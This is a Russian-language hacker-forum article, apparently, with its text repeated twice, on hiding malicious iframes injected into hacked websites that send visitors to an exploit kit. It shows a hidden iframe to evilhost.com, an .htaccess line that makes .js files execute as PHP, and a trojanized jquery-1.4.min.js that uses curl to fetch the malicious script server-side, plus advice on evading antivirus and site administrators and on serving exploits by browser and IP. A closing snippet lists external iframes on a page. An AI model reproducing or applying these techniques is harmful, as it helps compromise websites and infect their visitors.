В данной статье мы рассмотрим уровень эффективности тех средств шифрования, которые активно используются в настоящее время.
Для начала нам следует обратить внимание на то, какие же требования к подобному ПО имеются у пользователей:
1. Ссылка, на которую ссылается фрейм, должна быть тщательно скрыта
2. Сам код должен быть сложен для понимания человеком - обфускация
3. Сложность расшифровки кода
4. Невидимость для антивирусного ПО
Да, любой актуальный программный продукт выполняет эти требования. Невидимость для антивирусов - пожалуйста, отчет от virtest. Обфускация и сложность в расшифровке - нет проблем, arguments.callee к вашим услугам. На самом же деле, все это взгляд под углом человека, мало что понимающего.
Пойдем по порядку.
1. Да, плезно чтобы ваша ссылка была скрыта от глаз администратора зараженного ресурса, но ему не нужно быть гением криптографии и не нужно изучать используемый алгоритм шифрования. Достаточно сделать следующее:
Все. Каким бы сложным не был алгоритм, сколько бы методов "антиотладки" он в себя не включал, ссылка получена за считанные секунды. Конечно, где - то может и есть генерация нескольких псевдо - фреймов вместе с основным, но это не спасет.
2. Исходя из пункта #1, обфускация теряет свой смысл полностью.
В данном случае она только ускорит процесс обнаружения фрейма, так как делает javascript код еще более подозрительным.
3. Аналогично обращаемся к пункту #1, зачем расшифровывать то, что уже себя расшифровало?
4. Неужели найдется человек, который поверит в то, что антивирусная лаборатория, имеющая приличный финансовый оборот и целые отделы программистов и специалистов по информационной безопасности, уступает какому - то программисту - самоучке, продающему псевдо - способы шифрования кода за пару десятков долларов?
Отчет антивирусной проверки говорит только о том, что в зашифрованном javascript коде не найдено подозрительных сигнатур. Но на деле, когда такой код будет инжектирован с страницу, любое нормальное антивирусное ПО моментально определит, что значение аттрибута фрейма src - не абсолютный/относительный путь, а внешнаяя ссылка, добавьте к этому то, что ваш фрейм является невидимым, а домен светится только один раз, и вы получите отличный набор для определения подобных фреймов как потенциально опасных.
Эффективность 99% программных продуктов, предназначенных для выполнения нашей задачи, равна нулю. Теперь посмотрим, какое ПО входит в оставшийся 1%.
1. Зачем нам вообще внешняя ссылка в клиентском коде? Зачем фрейм?
Мы вполне можем ссылаться на локальный скрипт, разумеется, тогда нам необходимо иметь широкий доступ к ресурсу: ftp, сpanel, shell, etc но оно себя оправдывает. Заместо же фрейма мы будем использовать тег script.
В итоге наш исходный код изменится следующим образом:
Сам же локальный скрипт должен выполнять функцию получения конечного кода. Использовать для этого можно curl, сокеты, да что угодно, главное, чтобы ссылка, откуда тянется содержимое, была доступна только серверу.
Если у вас появился вопрос, а как быть на хостинге, где нет php, cgi, etc? То вот вам встречный вопрос: неужели в сети есть качественный ресурс, имеющий тысячный поток уникальных посетителей, который хостится там, где кроме веб - сервера ничего нет? Или может вы планируете заняться профессиональным фреймингом домашних страничек школьниц?
В чем же смысл такой модификации, когда любой может посмотреть, куда ссылается тег script - во - первых, мы отрезаем хорошую часть антивирусного ПО, во - вторых, никто не мешает вам сделать все более красиво.
Пример, имеем страницу, код которой:
Cоздаем конфигурационный файл веб - сервера, в 90% это Apache, поэтому пример для него,
файл .htaccess:
Размещаем данный файл в любой директории, которая находится выше либо равна директории js. Сам файл jquery-1.4.min.js модифицируем следующим образом:
Для клиента, просматривающего html код страницы, внешне ничего не изменится, на деле же все будет именно так, как нужно нам.
2. Теперь, когда шифрованию мы подвергаем уже не клиентский скрипт, а серверный, в наше распоряжение вступают такие вещи как Zend Guard, ionCube Encoder, etc.
Все зависит от того, какие модули установлены на сервере. Тем более, что можно создать целую цепочку локальных скриптов, которые будут взаимодействовать между собой.
В любом случае, это несомненный плюс.
3. Данный пункт представляет собой объединение двух предыдущих, поэтому надобности в его раскрытии нет.
4. Рассматривая недостатки, я обратил внимание на следующие моменты:
1. Внешняя ссылка
2. Невидимость фрейма
Теперь вся детектируемость сводится только к подгружаемому внешнему коду, если он чист, то и антивирусное ПО будет молчать.
Отдельное слово о том, почему вам эта технология может не подойти. Если вы используете связку из тех, что сейчас продаются, то придется смериться - они не предназначены для взаимодейтсвия с подобными решениями.
Блокирование неуникальных посетителей по IP не даст вам получить содержимое более одного раза. Учитывайте и то, что выдача эксплоитов производится не голым js, а html страницей, а это вызовит ошибку у клиента.
Не хочу рекламировать, просто похвастаюсь, в моей связке поддержка взаимодействия с такими "фреймами" уже давно реализована, но вряд ли вы ее когда - нибудь пощупаете, поэтому приведу вам один из способов:
Отдельный скрипт связки, который производит выдачу js в зависимости от переданных GET/POST параметров: ОС, браузер, версия, IP
Последний параметр передавать совсем не обязательно, вы можете проверять уникальность еще перед подгрузкой js, а статистику вести не по каждому посетителю, а сделать отдельный учет модуля выдачи js: сколько раз выдан код и сколько загрузок получено.
Давайте суммируем все отличия и сравним, что получится при более грамотном подходе:
Используя новые методы, мы получаем долговечность, и, соответственно, большее количество посетителей с каждого ресурса.
Нам не требуются чистки javascript кода, в результате работы домен связки не светится перед посетителем, что увеличивает его продолжительность жизни, а все это снижает наши расходы.
Теперь выбор только за вами: продолжать использовать бесполезные и устаревшие технологии, либо начать освоение новых.
И на последок, универсальный поисковик фреймов, ссылающихся на внешние ресурсы, через который вы можете проверить надежность шифрования ваших фреймов:
На примере http://www.php.su, вставив в конец страницы данный код, получим результат:
На этом все. Надеюсь, что статья будет полезной для кого - то. Если у вас имеются какие - то вопросы, то вы всегда можете найти меня в jabber: catalina@default.rs.
При копировании материала просьба указывать ссылку на источник.
Для начала нам следует обратить внимание на то, какие же требования к подобному ПО имеются у пользователей:
1. Ссылка, на которую ссылается фрейм, должна быть тщательно скрыта
2. Сам код должен быть сложен для понимания человеком - обфускация
3. Сложность расшифровки кода
4. Невидимость для антивирусного ПО
Да, любой актуальный программный продукт выполняет эти требования. Невидимость для антивирусов - пожалуйста, отчет от virtest. Обфускация и сложность в расшифровке - нет проблем, arguments.callee к вашим услугам. На самом же деле, все это взгляд под углом человека, мало что понимающего.
Пойдем по порядку.
1. Да, плезно чтобы ваша ссылка была скрыта от глаз администратора зараженного ресурса, но ему не нужно быть гением криптографии и не нужно изучать используемый алгоритм шифрования. Достаточно сделать следующее:
Код:
<html>
<script type="text/javascript">
/* подозрительный код */
</script>
<script type="text/javascript">
var decode = document.getElementsByTagName("iframe");
alert(decode[0].src);
</script>
</html>2. Исходя из пункта #1, обфускация теряет свой смысл полностью.
В данном случае она только ускорит процесс обнаружения фрейма, так как делает javascript код еще более подозрительным.
3. Аналогично обращаемся к пункту #1, зачем расшифровывать то, что уже себя расшифровало?
4. Неужели найдется человек, который поверит в то, что антивирусная лаборатория, имеющая приличный финансовый оборот и целые отделы программистов и специалистов по информационной безопасности, уступает какому - то программисту - самоучке, продающему псевдо - способы шифрования кода за пару десятков долларов?
Отчет антивирусной проверки говорит только о том, что в зашифрованном javascript коде не найдено подозрительных сигнатур. Но на деле, когда такой код будет инжектирован с страницу, любое нормальное антивирусное ПО моментально определит, что значение аттрибута фрейма src - не абсолютный/относительный путь, а внешнаяя ссылка, добавьте к этому то, что ваш фрейм является невидимым, а домен светится только один раз, и вы получите отличный набор для определения подобных фреймов как потенциально опасных.
Эффективность 99% программных продуктов, предназначенных для выполнения нашей задачи, равна нулю. Теперь посмотрим, какое ПО входит в оставшийся 1%.
1. Зачем нам вообще внешняя ссылка в клиентском коде? Зачем фрейм?
Мы вполне можем ссылаться на локальный скрипт, разумеется, тогда нам необходимо иметь широкий доступ к ресурсу: ftp, сpanel, shell, etc но оно себя оправдывает. Заместо же фрейма мы будем использовать тег script.
В итоге наш исходный код изменится следующим образом:
Код:
<!-- Было -->
<iframe src="http://evilhost.com/dir/script.php" width="0" height="0" frameborder="0"></iframe>
<!-- Стало -->
<script src="dir/script.php" type="text/javascript"></script>Если у вас появился вопрос, а как быть на хостинге, где нет php, cgi, etc? То вот вам встречный вопрос: неужели в сети есть качественный ресурс, имеющий тысячный поток уникальных посетителей, который хостится там, где кроме веб - сервера ничего нет? Или может вы планируете заняться профессиональным фреймингом домашних страничек школьниц?
В чем же смысл такой модификации, когда любой может посмотреть, куда ссылается тег script - во - первых, мы отрезаем хорошую часть антивирусного ПО, во - вторых, никто не мешает вам сделать все более красиво.
Пример, имеем страницу, код которой:
Код:
<html>
<!-- различный код -->
<script src="js/jquery-1.4.min.js" type="text/javascript"></script>
<!-- различный код -->
</html>файл .htaccess:
Код:
AddType application/x-httpd-php .jsРазмещаем данный файл в любой директории, которая находится выше либо равна директории js. Сам файл jquery-1.4.min.js модифицируем следующим образом:
Код:
/* код библиотеки jquery */
<?php
$ch = curl_init();
// устанавливаем опции curl, указываем ссылку, откуда следует получать js код
print(curl_exec($ch));
?>2. Теперь, когда шифрованию мы подвергаем уже не клиентский скрипт, а серверный, в наше распоряжение вступают такие вещи как Zend Guard, ionCube Encoder, etc.
Все зависит от того, какие модули установлены на сервере. Тем более, что можно создать целую цепочку локальных скриптов, которые будут взаимодействовать между собой.
В любом случае, это несомненный плюс.
3. Данный пункт представляет собой объединение двух предыдущих, поэтому надобности в его раскрытии нет.
4. Рассматривая недостатки, я обратил внимание на следующие моменты:
1. Внешняя ссылка
2. Невидимость фрейма
Теперь вся детектируемость сводится только к подгружаемому внешнему коду, если он чист, то и антивирусное ПО будет молчать.
Отдельное слово о том, почему вам эта технология может не подойти. Если вы используете связку из тех, что сейчас продаются, то придется смериться - они не предназначены для взаимодейтсвия с подобными решениями.
Блокирование неуникальных посетителей по IP не даст вам получить содержимое более одного раза. Учитывайте и то, что выдача эксплоитов производится не голым js, а html страницей, а это вызовит ошибку у клиента.
Не хочу рекламировать, просто похвастаюсь, в моей связке поддержка взаимодействия с такими "фреймами" уже давно реализована, но вряд ли вы ее когда - нибудь пощупаете, поэтому приведу вам один из способов:
Отдельный скрипт связки, который производит выдачу js в зависимости от переданных GET/POST параметров: ОС, браузер, версия, IP
Последний параметр передавать совсем не обязательно, вы можете проверять уникальность еще перед подгрузкой js, а статистику вести не по каждому посетителю, а сделать отдельный учет модуля выдачи js: сколько раз выдан код и сколько загрузок получено.
Давайте суммируем все отличия и сравним, что получится при более грамотном подходе:
Используя новые методы, мы получаем долговечность, и, соответственно, большее количество посетителей с каждого ресурса.
Нам не требуются чистки javascript кода, в результате работы домен связки не светится перед посетителем, что увеличивает его продолжительность жизни, а все это снижает наши расходы.
Теперь выбор только за вами: продолжать использовать бесполезные и устаревшие технологии, либо начать освоение новых.
И на последок, универсальный поисковик фреймов, ссылающихся на внешние ресурсы, через который вы можете проверить надежность шифрования ваших фреймов:
Код:
<script type="text/javascript">
var domain = window.location.host.toString();
var frames = document.getElementsByTagName("iframe");
var index, id = 1, buffer = "";
for (index in frames) {
try {
if (frames[index].src && frames[index].src.indexOf(domain) == -1) {
buffer+= id + ": " + frames[index].src + "\n\n";
id++;
}
} catch (e) {}
}
if (buffer.length == 0) {
buffer = "Outdoor frames doesn't exist";
}
alert(buffer);
</script>
Код:
1: http://ad.adriver.ru/cgi-bin/erle.cgi?sid=148477&bn=1&target=blank&bt=36&pz=0&rnd=455589936&tail256=unknownНа этом все. Надеюсь, что статья будет полезной для кого - то. Если у вас имеются какие - то вопросы, то вы всегда можете найти меня в jabber: catalina@default.rs.
При копировании материала просьба указывать ссылку на источник.
Рекомендую изучить вообще как работает (и что умеет) апач. Зная некоторые тонкости можно добиться большего без ваших извращений!
